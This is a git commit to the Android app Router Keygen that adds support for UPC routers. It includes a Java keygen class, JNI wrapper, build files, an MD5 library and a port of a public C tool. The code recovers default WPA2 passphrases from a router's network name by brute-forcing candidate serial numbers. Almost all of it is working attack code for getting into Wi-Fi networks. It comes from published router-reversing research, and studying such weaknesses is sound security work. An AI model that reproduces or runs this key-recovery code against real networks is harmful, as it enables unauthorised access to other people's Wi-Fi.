Added support for UPC routers

master
Dusan Klinec 8 years ago
parent d12ab7b296
commit 496b830ea5

@ -30,7 +30,7 @@ Router Keygen generate default WPA/WEP keys for the following router:
* Cabovisao Sagem
* Alice in Germany
* Speedport
* UPC (UPCXXXXXXX)
Router Keygen is open-source licensed under [GPL](http://www.gnu.org/copyleft/gpl.html).

@ -42,6 +42,7 @@ import org.exobel.routerkeygen.algorithms.TeleTuKeygen;
import org.exobel.routerkeygen.algorithms.TelseyKeygen;
import org.exobel.routerkeygen.algorithms.ThomsonKeygen;
import org.exobel.routerkeygen.algorithms.TplinkKeygen;
import org.exobel.routerkeygen.algorithms.UpcKeygen;
import org.exobel.routerkeygen.algorithms.VerizonKeygen;
import org.exobel.routerkeygen.algorithms.WifimediaRKeygen;
import org.exobel.routerkeygen.algorithms.Wlan2Keygen;
@ -513,6 +514,10 @@ public class WirelessMatcher {
keygens.add(new ComtrendKeygen(ssid, mac));
}
if (ssid.matches("UPC[0-9]{5,8}")) {
keygens.add(new UpcKeygen(ssid, mac));
}
return keygens;
}

@ -0,0 +1,119 @@
package org.exobel.routerkeygen.algorithms;
import android.os.Parcel;
import android.os.Parcelable;
import android.util.Log;
import org.exobel.routerkeygen.R;
import java.util.LinkedList;
import java.util.List;
/*
* Copyright 2016 Dusan Klinec, Miroslav Svitok
*
* This file is part of Router Keygen.
*
* Router Keygen is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Router Keygen is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Router Keygen. If not, see <http://www.gnu.org/licenses/>.
*
* Using UPC default key generator implemented by blasty.
* Source: https://haxx.in/upc_keys.c
*/
public class UpcKeygen extends Keygen {
private static final String TAG="UpcKeygen";
private final List<String> computedKeys = new LinkedList<>();
static {
System.loadLibrary("upc");
}
public static final Parcelable.Creator<UpcKeygen> CREATOR = new Parcelable.Creator<UpcKeygen>() {
public UpcKeygen createFromParcel(Parcel in) {
return new UpcKeygen(in);
}
public UpcKeygen[] newArray(int size) {
return new UpcKeygen[size];
}
};
public UpcKeygen(String ssid, String mac) {
super(ssid, mac);
}
private UpcKeygen(Parcel in) {
super(in);
}
@Override
public int getSupportState() {
if (getSsidName().matches("UPC[0-9]{7}")) {
return SUPPORTED;
} else if (getSsidName().matches("UPC[0-9]{5,6}")) {
return UNLIKELY_SUPPORTED;
} else if (getSsidName().matches("UPC[0-9]{8}")) {
return UNLIKELY_SUPPORTED;
}
return UNSUPPORTED;
}
@Override
public synchronized void setStopRequested(boolean stopRequested) {
super.setStopRequested(stopRequested);
}
/**
* Called by native code when a key is computed.
*/
public void onKeyComputed(String key){
computedKeys.add(key);
}
/**
* Called by native code when a progress in computation is made.
* @param progress 0..1 value. 0=0%, 1=100%
*/
public void onProgressed(double progress){
}
@Override
public List<String> getKeys() {
String[] results = null;
try {
Log.d(TAG, "Starting a new task for ssid: " + getSsidName());
upcNative(getSsidName().getBytes("US-ASCII"));
results = computedKeys.toArray(new String[computedKeys.size()]);
} catch (Exception e) {
Log.e(TAG, "Exception in native computation", e);
setErrorCode(R.string.msg_err_native);
}
if (isStopRequested() || results == null)
return null;
for (String result : results)
addPassword(result);
if (getResults().size() == 0)
setErrorCode(R.string.msg_errnomatches);
return getResults();
}
/**
* Native key generator implementation.
* @param essid
* @return
*/
private native void upcNative(byte[] essid);
}

@ -1,4 +1,5 @@
LOCAL_PATH := $(call my-dir)
JNI_PATH := $(LOCAL_PATH)
include $(CLEAR_VARS)
include $(LOCAL_PATH)/android-config.mk
@ -31,3 +32,5 @@ LOCAL_LDLIBS := -llog
LOCAL_MODULE:= thomson
include $(BUILD_SHARED_LIBRARY)
include $(JNI_PATH)/upc/android_toolchain/Android.mk

@ -0,0 +1,11 @@
UPC key generator
-----------------
JNI wrapper for http://haxx.in/upc_keys.c
Use at your own risk and responsibility.
Credit goes to blasty <peter@haxx.in> // 20151231
Idea & implementation:
ph4r05 (Dusan)
miroc (Miro)

@ -0,0 +1,35 @@
MODULE_PATH := $(call my-dir)/..
###################
# UPC key gen #
###################
include $(CLEAR_VARS)
LOCAL_PATH := $(MODULE_PATH)
# Shared library name
LOCAL_MODULE := upc
# Include self headers
LOCAL_C_INCLUDES += $(LOCAL_PATH)/include
# Source files
JNI_SRC_DIR := src
LOCAL_SRC_FILES := $(JNI_SRC_DIR)/md5.c $(JNI_SRC_DIR)/upc_keys.c $(JNI_SRC_DIR)/upc_keys_wrapper.c
# Android logging + dynamic linking
LOCAL_LDLIBS += -llog -ldl
ifeq ($(MY_USE_STATIC_SSL),1)
# This is to do builds with full openssl built in.
# Not use unless you know what you do and create a ssl_static target in openssl lib
LOCAL_STATIC_LIBRARIES += ssl_static crypto_static
LOCAL_LDLIBS += -lz
else
# Normal mainstream users mode
LOCAL_STATIC_LIBRARIES += crypto_ec_static
LOCAL_SHARED_LIBRARIES += libssl libcrypto
endif
LOCAL_STATIC_LIBRARIES += libgcc
include $(BUILD_SHARED_LIBRARY)

@ -0,0 +1,57 @@
/*
* This is an OpenSSL-compatible implementation of the RSA Data Security, Inc.
* MD5 Message-Digest Algorithm (RFC 1321).
*
* Homepage:
* http://openwall.info/wiki/people/solar/software/public-domain-source-code/md5
*
* Author:
* Alexander Peslyak, better known as Solar Designer <solar at openwall.com>
*
* This software was written by Alexander Peslyak in 2001. No copyright is
* claimed, and the software is hereby placed in the public domain.
* In case this attempt to disclaim copyright and place the software in the
* public domain is deemed null and void, then the software is
* Copyright (c) 2001 Alexander Peslyak and it is hereby released to the
* general public under the following terms:
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
* There's ABSOLUTELY NO WARRANTY, express or implied.
*
* See md5.c for more information.
*/
#ifndef ANDROID_MD5_H
#define ANDROID_MD5_H
#ifdef HAVE_OPENSSL
#include <openssl/md5.h>
#elif !defined(_MD5_H)
#define _MD5_H
#ifdef __cplusplus
extern "C" {
#endif
/* Any 32-bit or wider unsigned integer data type will do */
typedef unsigned int MD5_u32plus;
typedef struct {
MD5_u32plus lo, hi;
MD5_u32plus a, b, c, d;
unsigned char buffer[64];
MD5_u32plus block[16];
} MD5_CTX;
extern void MD5_Init(MD5_CTX *ctx);
extern void MD5_Update(MD5_CTX *ctx, const void *data, unsigned long size);
extern void MD5_Final(unsigned char *result, MD5_CTX *ctx);
#ifdef __cplusplus
}
#endif
#endif
#endif //ANDROID_MD5_H

@ -0,0 +1,30 @@
//
// Created by Dusan Klinec on 06.01.16.
//
#ifndef ANDROID_UPC_KEYS_H
#define ANDROID_UPC_KEYS_H
#define MAGIC_24GHZ 0xffd9da60
#define MAGIC_5GHZ 0xff8d8f20
#define MAGIC0 0xb21642c9ll
#define MAGIC1 0x68de3afll
#define MAGIC2 0x6b5fca6bll
#define MAX0 9
#define MAX1 99
#define MAX2 9
#define MAX3 9999
#define MAX_ITERATIONS ((long)((MAX0)+1L)*(long)((MAX1)+1L)*(long)((MAX2)+1L)*(long)((MAX3)+1L))
#ifdef __cplusplus
extern "C" {
#endif
extern void hash2pass(uint8_t *in_hash, char *out_pass);
extern uint32_t mangle(uint32_t *pp);
extern uint32_t upc_generate_ssid(uint32_t* data, uint32_t magic);
#ifdef __cplusplus
}
#endif
#endif //ANDROID_UPC_KEYS_H

@ -0,0 +1,27 @@
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_exobel_routerkeygen_algorithms_UpcKeygen */
#ifndef _Included_org_exobel_routerkeygen_algorithms_UpcKeygen
#define _Included_org_exobel_routerkeygen_algorithms_UpcKeygen
#ifdef __cplusplus
extern "C" {
#endif
#undef org_exobel_routerkeygen_algorithms_UpcKeygen_SUPPORTED
#define org_exobel_routerkeygen_algorithms_UpcKeygen_SUPPORTED 2L
#undef org_exobel_routerkeygen_algorithms_UpcKeygen_UNLIKELY_SUPPORTED
#define org_exobel_routerkeygen_algorithms_UpcKeygen_UNLIKELY_SUPPORTED 1L
#undef org_exobel_routerkeygen_algorithms_UpcKeygen_UNSUPPORTED
#define org_exobel_routerkeygen_algorithms_UpcKeygen_UNSUPPORTED 0L
/*
* Class: org_exobel_routerkeygen_algorithms_UpcKeygen
* Method: upcNative
* Signature: ([B[BI)[Ljava/lang/String;
*/
JNIEXPORT void JNICALL Java_org_exobel_routerkeygen_algorithms_UpcKeygen_upcNative
(JNIEnv *, jobject, jbyteArray);
#ifdef __cplusplus
}
#endif
#endif

@ -0,0 +1,299 @@
//
// Created by Dusan Klinec on 06.01.16.
//
/*
* This is an OpenSSL-compatible implementation of the RSA Data Security, Inc.
* MD5 Message-Digest Algorithm (RFC 1321).
*
* Homepage:
* http://openwall.info/wiki/people/solar/software/public-domain-source-code/md5
*
* Author:
* Alexander Peslyak, better known as Solar Designer <solar at openwall.com>
*
* This software was written by Alexander Peslyak in 2001. No copyright is
* claimed, and the software is hereby placed in the public domain.
* In case this attempt to disclaim copyright and place the software in the
* public domain is deemed null and void, then the software is
* Copyright (c) 2001 Alexander Peslyak and it is hereby released to the
* general public under the following terms:
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
* There's ABSOLUTELY NO WARRANTY, express or implied.
*
* (This is a heavily cut-down "BSD license".)
*
* This differs from Colin Plumb's older public domain implementation in that
* no exactly 32-bit integer data type is required (any 32-bit or wider
* unsigned integer data type will do), there's no compile-time endianness
* configuration, and the function prototypes match OpenSSL's. No code from
* Colin Plumb's implementation has been reused; this comment merely compares
* the properties of the two independent implementations.
*
* The primary goals of this implementation are portability and ease of use.
* It is meant to be fast, but not as fast as possible. Some known
* optimizations are not included to reduce source code size and avoid
* compile-time configuration.
*/
#ifndef HAVE_OPENSSL
#include <string.h>
#include "md5.h"
/*
* The basic MD5 functions.
*
* F and G are optimized compared to their RFC 1321 definitions for
* architectures that lack an AND-NOT instruction, just like in Colin Plumb's
* implementation.
*/
#define F(x, y, z) ((z) ^ ((x) & ((y) ^ (z))))
#define G(x, y, z) ((y) ^ ((z) & ((x) ^ (y))))
#define H(x, y, z) (((x) ^ (y)) ^ (z))
#define H2(x, y, z) ((x) ^ ((y) ^ (z)))
#define I(x, y, z) ((y) ^ ((x) | ~(z)))
/*
* The MD5 transformation for all four rounds.
*/
#define STEP(f, a, b, c, d, x, t, s) \
(a) += f((b), (c), (d)) + (x) + (t); \
(a) = (((a) << (s)) | (((a) & 0xffffffff) >> (32 - (s)))); \
(a) += (b);
/*
* SET reads 4 input bytes in little-endian byte order and stores them
* in a properly aligned word in host byte order.
*
* The check for little-endian architectures that tolerate unaligned
* memory accesses is just an optimization. Nothing will break if it
* doesn't work.
*/
#if defined(__i386__) || defined(__x86_64__) || defined(__vax__)
#define SET(n) \
(*(MD5_u32plus *)&ptr[(n) * 4])
#define GET(n) \
SET(n)
#else
#define SET(n) \
(ctx->block[(n)] = \
(MD5_u32plus)ptr[(n) * 4] | \
((MD5_u32plus)ptr[(n) * 4 + 1] << 8) | \
((MD5_u32plus)ptr[(n) * 4 + 2] << 16) | \
((MD5_u32plus)ptr[(n) * 4 + 3] << 24))
#define GET(n) \
(ctx->block[(n)])
#endif
/*
* This processes one or more 64-byte data blocks, but does NOT update
* the bit counters. There are no alignment requirements.
*/
static const void *body(MD5_CTX *ctx, const void *data, unsigned long size)
{
const unsigned char *ptr;
MD5_u32plus a, b, c, d;
MD5_u32plus saved_a, saved_b, saved_c, saved_d;
ptr = (const unsigned char *)data;
a = ctx->a;
b = ctx->b;
c = ctx->c;
d = ctx->d;
do {
saved_a = a;
saved_b = b;
saved_c = c;
saved_d = d;
/* Round 1 */
STEP(F, a, b, c, d, SET(0), 0xd76aa478, 7)
STEP(F, d, a, b, c, SET(1), 0xe8c7b756, 12)
STEP(F, c, d, a, b, SET(2), 0x242070db, 17)
STEP(F, b, c, d, a, SET(3), 0xc1bdceee, 22)
STEP(F, a, b, c, d, SET(4), 0xf57c0faf, 7)
STEP(F, d, a, b, c, SET(5), 0x4787c62a, 12)
STEP(F, c, d, a, b, SET(6), 0xa8304613, 17)
STEP(F, b, c, d, a, SET(7), 0xfd469501, 22)
STEP(F, a, b, c, d, SET(8), 0x698098d8, 7)
STEP(F, d, a, b, c, SET(9), 0x8b44f7af, 12)
STEP(F, c, d, a, b, SET(10), 0xffff5bb1, 17)
STEP(F, b, c, d, a, SET(11), 0x895cd7be, 22)
STEP(F, a, b, c, d, SET(12), 0x6b901122, 7)
STEP(F, d, a, b, c, SET(13), 0xfd987193, 12)
STEP(F, c, d, a, b, SET(14), 0xa679438e, 17)
STEP(F, b, c, d, a, SET(15), 0x49b40821, 22)
/* Round 2 */
STEP(G, a, b, c, d, GET(1), 0xf61e2562, 5)
STEP(G, d, a, b, c, GET(6), 0xc040b340, 9)
STEP(G, c, d, a, b, GET(11), 0x265e5a51, 14)
STEP(G, b, c, d, a, GET(0), 0xe9b6c7aa, 20)
STEP(G, a, b, c, d, GET(5), 0xd62f105d, 5)
STEP(G, d, a, b, c, GET(10), 0x02441453, 9)
STEP(G, c, d, a, b, GET(15), 0xd8a1e681, 14)
STEP(G, b, c, d, a, GET(4), 0xe7d3fbc8, 20)
STEP(G, a, b, c, d, GET(9), 0x21e1cde6, 5)
STEP(G, d, a, b, c, GET(14), 0xc33707d6, 9)
STEP(G, c, d, a, b, GET(3), 0xf4d50d87, 14)
STEP(G, b, c, d, a, GET(8), 0x455a14ed, 20)
STEP(G, a, b, c, d, GET(13), 0xa9e3e905, 5)
STEP(G, d, a, b, c, GET(2), 0xfcefa3f8, 9)
STEP(G, c, d, a, b, GET(7), 0x676f02d9, 14)
STEP(G, b, c, d, a, GET(12), 0x8d2a4c8a, 20)
/* Round 3 */
STEP(H, a, b, c, d, GET(5), 0xfffa3942, 4)
STEP(H2, d, a, b, c, GET(8), 0x8771f681, 11)
STEP(H, c, d, a, b, GET(11), 0x6d9d6122, 16)
STEP(H2, b, c, d, a, GET(14), 0xfde5380c, 23)
STEP(H, a, b, c, d, GET(1), 0xa4beea44, 4)
STEP(H2, d, a, b, c, GET(4), 0x4bdecfa9, 11)
STEP(H, c, d, a, b, GET(7), 0xf6bb4b60, 16)
STEP(H2, b, c, d, a, GET(10), 0xbebfbc70, 23)
STEP(H, a, b, c, d, GET(13), 0x289b7ec6, 4)
STEP(H2, d, a, b, c, GET(0), 0xeaa127fa, 11)
STEP(H, c, d, a, b, GET(3), 0xd4ef3085, 16)
STEP(H2, b, c, d, a, GET(6), 0x04881d05, 23)
STEP(H, a, b, c, d, GET(9), 0xd9d4d039, 4)
STEP(H2, d, a, b, c, GET(12), 0xe6db99e5, 11)
STEP(H, c, d, a, b, GET(15), 0x1fa27cf8, 16)
STEP(H2, b, c, d, a, GET(2), 0xc4ac5665, 23)
/* Round 4 */
STEP(I, a, b, c, d, GET(0), 0xf4292244, 6)
STEP(I, d, a, b, c, GET(7), 0x432aff97, 10)
STEP(I, c, d, a, b, GET(14), 0xab9423a7, 15)
STEP(I, b, c, d, a, GET(5), 0xfc93a039, 21)
STEP(I, a, b, c, d, GET(12), 0x655b59c3, 6)
STEP(I, d, a, b, c, GET(3), 0x8f0ccc92, 10)
STEP(I, c, d, a, b, GET(10), 0xffeff47d, 15)
STEP(I, b, c, d, a, GET(1), 0x85845dd1, 21)
STEP(I, a, b, c, d, GET(8), 0x6fa87e4f, 6)
STEP(I, d, a, b, c, GET(15), 0xfe2ce6e0, 10)
STEP(I, c, d, a, b, GET(6), 0xa3014314, 15)
STEP(I, b, c, d, a, GET(13), 0x4e0811a1, 21)
STEP(I, a, b, c, d, GET(4), 0xf7537e82, 6)
STEP(I, d, a, b, c, GET(11), 0xbd3af235, 10)
STEP(I, c, d, a, b, GET(2), 0x2ad7d2bb, 15)
STEP(I, b, c, d, a, GET(9), 0xeb86d391, 21)
a += saved_a;
b += saved_b;
c += saved_c;
d += saved_d;
ptr += 64;
} while (size -= 64);
ctx->a = a;
ctx->b = b;
ctx->c = c;
ctx->d = d;
return ptr;
}
void MD5_Init(MD5_CTX *ctx)
{
ctx->a = 0x67452301;
ctx->b = 0xefcdab89;
ctx->c = 0x98badcfe;
ctx->d = 0x10325476;
ctx->lo = 0;
ctx->hi = 0;
}
void MD5_Update(MD5_CTX *ctx, const void *data, unsigned long size)
{
MD5_u32plus saved_lo;
unsigned long used, available;
saved_lo = ctx->lo;
if ((ctx->lo = (saved_lo + size) & 0x1fffffff) < saved_lo)
ctx->hi++;
ctx->hi += size >> 29;
used = saved_lo & 0x3f;
if (used) {
available = 64 - used;
if (size < available) {
memcpy(&ctx->buffer[used], data, size);
return;
}
memcpy(&ctx->buffer[used], data, available);
data = (const unsigned char *)data + available;
size -= available;
body(ctx, ctx->buffer, 64);
}
if (size >= 64) {
data = body(ctx, data, size & ~(unsigned long)0x3f);
size &= 0x3f;
}
memcpy(ctx->buffer, data, size);
}
void MD5_Final(unsigned char *result, MD5_CTX *ctx)
{
unsigned long used, available;
used = ctx->lo & 0x3f;
ctx->buffer[used++] = 0x80;
available = 64 - used;
if (available < 8) {
memset(&ctx->buffer[used], 0, available);
body(ctx, ctx->buffer, 64);
used = 0;
available = 64;
}
memset(&ctx->buffer[used], 0, available - 8);
ctx->lo <<= 3;
ctx->buffer[56] = ctx->lo;
ctx->buffer[57] = ctx->lo >> 8;
ctx->buffer[58] = ctx->lo >> 16;
ctx->buffer[59] = ctx->lo >> 24;
ctx->buffer[60] = ctx->hi;
ctx->buffer[61] = ctx->hi >> 8;
ctx->buffer[62] = ctx->hi >> 16;
ctx->buffer[63] = ctx->hi >> 24;
body(ctx, ctx->buffer, 64);
result[0] = ctx->a;
result[1] = ctx->a >> 8;
result[2] = ctx->a >> 16;
result[3] = ctx->a >> 24;
result[4] = ctx->b;
result[5] = ctx->b >> 8;
result[6] = ctx->b >> 16;
result[7] = ctx->b >> 24;
result[8] = ctx->c;
result[9] = ctx->c >> 8;
result[10] = ctx->c >> 16;
result[11] = ctx->c >> 24;
result[12] = ctx->d;
result[13] = ctx->d >> 8;
result[14] = ctx->d >> 16;
result[15] = ctx->d >> 24;
memset(ctx, 0, sizeof(*ctx));
}
#endif

@ -0,0 +1,90 @@
/*
* upc_keys.c -- WPA2 passphrase recovery tool for UPC%07d devices
* ===============================================================
* You'd think vendors would stop using weak algorithms that allow
* people to recover the credentials for a WiFi network based on
* purely the ESSID. Sadly, these days aren't over yet. We've seen
* some excellent recent research by Novella/Meijer/Verdult [1][2]
* lately which illustrates that these issues still exist in recent
* devices/firmwares. I set out to dig up one of these algorithms
* and came up with this little tool.
*
* The attack is two-fold; in order to generate the single valid
* WPA2 phrase for a given network we need to know the serialnumber
* of the device.. which we don't have. Luckily there's a correlation
* between the ESSID and serial number as well, so we can generate a
* list of 'candidate' serial numbers (usually around ~20 or so) for
* a given ESSID and generate the corresponding WPA2 phrase for each
* serial. (This should take under a second on a reasonable system)
*
* Use at your own risk and responsibility. Do not complain if it
* fails to recover some keys, there could very well be variations
* out there I am not aware of. Do not contact me for support.
*
* Cheerz to p00pf1ng3r for the code cleanup! *burp* ;-)
* Hugs to all old & new friends who managed to make it down to 32c3! ykwya!
*
* Happy haxxing in 2016! ;-]
*
* Cya,
* blasty <peter@haxx.in> // 20151231
*
* P.S. Reversing eCos and broadcom CFE sux
* P.P.S. I don't think this is able to recover phrases for 5ghz networks
* atm but I will look into fixing this soon once I find some time, someone
* else can feel free to one up me as well. ;-)
*
* $ gcc -O2 -o upc_keys upc_keys.c -lcrypto
*
* References
* [1] https://www.usenix.org/system/files/conference/woot15/woot15-paper-lorente.pdf
* [2] http://archive.hack.lu/2015/hacklu15_enovella_reversing_routers.pdf
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include "upc_keys.h"
void hash2pass(uint8_t *in_hash, char *out_pass)
{
uint32_t i, a;
for (i = 0; i < 8; i++) {
a = in_hash[i] & 0x1f;
a -= ((a * MAGIC0) >> 36) * 23;
a = (a & 0xff) + 0x41;
if (a >= 'I') a++;
if (a >= 'L') a++;
if (a >= 'O') a++;
out_pass[i] = a;
}
out_pass[8] = 0;
}
uint32_t mangle(uint32_t *pp)
{
uint32_t a, b;
a = ((pp[3] * MAGIC1) >> 40) - (pp[3] >> 31);
b = (pp[3] - a * 9999 + 1) * 11ll;
return b * (pp[1] * 100 + pp[2] * 10 + pp[0]);
}
uint32_t upc_generate_ssid(uint32_t* data, uint32_t magic)
{
uint32_t a, b;
a = data[1] * 10 + data[2];
b = data[0] * 2500000 + a * 6800 + data[3] + magic;
return b - (((b * MAGIC2) >> 54) - (b >> 31)) * 10000000;
}

@ -0,0 +1,112 @@
#include <android/log.h>
#include <ctype.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "upc_keys_wrapper.h"
#include "upc_keys.h"
#include "md5.h"
// Logging
#define LOG_TAG "upc_keys"
#define DPRINTF(...) __android_log_print(ANDROID_LOG_DEBUG,LOG_TAG,__VA_ARGS__)
#define IPRINTF(...) __android_log_print(ANDROID_LOG_INFO,LOG_TAG,__VA_ARGS__)
#define EPRINTF(...) __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__)
JNIEXPORT void JNICALL Java_org_exobel_routerkeygen_algorithms_UpcKeygen_upcNative
(JNIEnv * env, jobject obj, jbyteArray ess)
{
// Get stopRequested - cancellation flag.
jclass cls = (*env)->GetObjectClass(env, obj);
jfieldID fid_s = (*env)->GetFieldID(env, cls, "stopRequested", "Z");
if (fid_s == NULL) {
return; /* exception already thrown */
}
unsigned char stop = (*env)->GetBooleanField(env, obj, fid_s);
// Monitoring methods
jmethodID on_key_computed = (*env)->GetMethodID(env, cls, "onKeyComputed", "(Ljava/lang/String;)V");
jmethodID on_progressed = (*env)->GetMethodID(env, cls, "onProgressed", "(D)V");
if (on_key_computed == NULL || on_progressed == NULL){
return;
}
// ESSID reading from parameter.
jbyte *e_native = (*env)->GetByteArrayElements(env, ess, 0);
char * e_ssid = (char*) e_native;
// Definitions.
MD5_CTX ctx;
uint8_t message_digest[20];
uint32_t buf[4], target;
char serial[64];
char pass[9], tmpstr[17];
uint8_t h1[16], h2[16];
uint32_t hv[4], w1, w2, i, cnt=0;
target = strtoul(e_ssid + 3, NULL, 0);
IPRINTF("Computing UPC keys for essid [%s], target %lu", e_ssid, (unsigned long)target);
unsigned long stop_ctr = 0;
unsigned long iter_ctr = 0;
// Compute - from upc_keys.c
for (buf[0] = 0; buf[0] <= MAX0; buf[0]++) {
for (buf[1] = 0; buf[1] <= MAX1; buf[1]++) {
for (buf[2] = 0; buf[2] <= MAX2; buf[2]++) {
for (buf[3] = 0; buf[3] <= MAX3; buf[3]++) {
// Check cancellation signal & progress monitoring.
stop_ctr += 1;
iter_ctr += 1;
if (stop_ctr > (MAX_ITERATIONS/2000)){
stop_ctr = 0;
stop = (*env)->GetBooleanField(env, obj, fid_s);
if (stop) {
break;
}
double current_progress = (double)iter_ctr / MAX_ITERATIONS;
(*env)->CallVoidMethod(env, obj, on_progressed, (jdouble)current_progress);
}
if (upc_generate_ssid(buf, MAGIC_24GHZ) != target && upc_generate_ssid(buf, MAGIC_5GHZ) != target) {
continue;
}
cnt++;
sprintf(serial, "SAAP%d%02d%d%04d", buf[0], buf[1], buf[2], buf[3]);
MD5_Init(&ctx);
MD5_Update(&ctx, serial, strlen(serial));
MD5_Final(h1, &ctx);
for (i = 0; i < 4; i++) {
hv[i] = *(uint16_t * )(h1 + i * 2);
}
w1 = mangle(hv);
for (i = 0; i < 4; i++) {
hv[i] = *(uint16_t * )(h1 + 8 + i * 2);
}
w2 = mangle(hv);
sprintf(tmpstr, "%08X%08X", w1, w2);
MD5_Init(&ctx);
MD5_Update(&ctx, tmpstr, strlen(tmpstr));
MD5_Final(h2, &ctx);
hash2pass(h2, pass);
IPRINTF(" -> #%02d WPA2 phrase for '%s' = '%s'", cnt, serial, pass);
jstring jpass = (*env)->NewStringUTF(env, pass);
(*env)->CallVoidMethod(env, obj, on_key_computed, jpass);
(*env)->DeleteLocalRef(env, jpass);
}
}
}
}
}
Loading…
Cancel
Save